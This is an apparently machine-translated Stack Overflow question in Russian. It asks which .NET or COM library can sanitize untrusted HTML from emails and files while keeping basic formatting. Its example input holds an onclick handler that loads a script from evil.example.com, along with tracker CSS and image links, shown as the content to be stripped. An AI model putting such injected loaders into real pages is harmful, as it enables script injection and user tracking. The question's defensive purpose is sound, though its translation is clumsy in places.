Это распространенная проблема, я надеюсь, что она была полностью решена для меня.Что я могу использовать для дезинфекции полученного HTML при сохранении основного форматирования?
В системе, которую я выполняю для клиента, мы хотим принять HTML из ненадежных источников (HTML-форматированный адрес электронной почты, а также файлы HTML), дезинформировать его, чтобы у него не было никаких скриптов, ссылок на внешние ресурсы, и другая безопасность/и т. д. вопросы; а затем безопасно отображать его, не теряя при этом основного форматирования. Например, так же, как клиент электронной почты будет обрабатывать электронную почту в формате HTML, но в идеале, не повторяя 347 821 ошибки, которые были сделаны (до сих пор) на этой арене. :-)
Цель состоит в том, чтобы в конечном итоге то, что мы чувствовали бы себя комфортно отображения для внутренних пользователей через iframe
в нашем собственном веб-интерфейс, или через WebBrowser class в .Net Windows Forms приложение (которое, кажется, нет безопаснее, возможно, меньше) и т. д. Пример ниже.
Мы понимаем, что некоторые из них могут хорошо отображать текст; это нормально.
Мы будем дезинфицировать в HTML на получение и хранение облагороженная версия (не волнуйтесь о части хранения — SQL инъекций и т.п. — мы получили, что немного покрыты).
Программное обеспечение должно запускаться на Windows Server. Рекомендуется сборка COM DLL или .Net. FOSS заметно предпочтительнее, но не является нарушителем сделки.
То, что я нашел до сих пор:
- AntiSamy.Net project(но это, кажется, no longer be under active development, будучи в течение года за основным — и активного — AntiSamy Java project).
- Some code от нашего собственного Jeff Atwood, около трех лет назад (gee, интересно, что он делал ...).
- HTML Agility Pack(используется проектом AntiSamy.Net выше), что дало бы мне сильный парсер; то я мог бы реализовать свою собственную логику для прохождения через итоговую DOM и отфильтровывать все, что я не имел в белом списке. Пакет маневренности выглядит действительно замечательно, но я буду полагаться на свой собственный белый список, а не на повторное использование колеса, которое кто-то уже изобрел, так что это противник.
- Microsoft Anti-XSS library
Что бы вы порекомендовали для решения этой задачи? Один из вышеперечисленных? Что-то другое?
Например, мы хотим, чтобы удалить такие вещи, как:
script
элементовlink
,img
, и такие элементы, которые достигают к внешним ресурсам (возможно заменитьimg
с текстом «[ изображение удалено] "или некоторые такие)embed
,object
,applet
,audio
,video
и другие теги, которые пытаются создавать объектыonclick
и аналогичные Dom0 событие кода обработчика сценарияhref
s наa
элементов, которые вызывают код (даже ссылки мы думаем, все в порядке, мы вполне может превратиться в незашифрованном, что пользователи должны намеренно копировать и вставлять в браузер).- __________ (722 вещей, которые я не думал о том, что есть причина, я ищу использовать то, что уже существует)
Так, например, этот HTML:
<!DOCTYPE html>
<html>
<head>
<title>Example</title>
<link rel="stylesheet" type="text/css" href="http://evil.example.com/tracker.css">
</head>
<body>
<p onclick="(function() { var s = document.createElement('script'); s.src = 'http://evil.example.com/scriptattack.js'; document.body.appendChild(s);)();">
<strong>Hi there!</strong> Here's my nefarious tracker image:
<img src='http://evil.example.com/xparent.gif'>
</p>
</body>
</html>
станет
<!DOCTYPE html>
<html>
<head>
<title>Example</title>
</head>
<body>
<p>
<strong>Hi there!</strong> Here's my nefarious tracker image:
[image removed]
</p>
</body>
</html>
(Примечание мы удалили link
и onclick
полностью, и заменил img
на заполнитель. Это всего лишь небольшое подмножество того, что мы считаем нужным выделять.)
Хороший вопрос. Ручной анализ будет кошмаром. – Dutchie432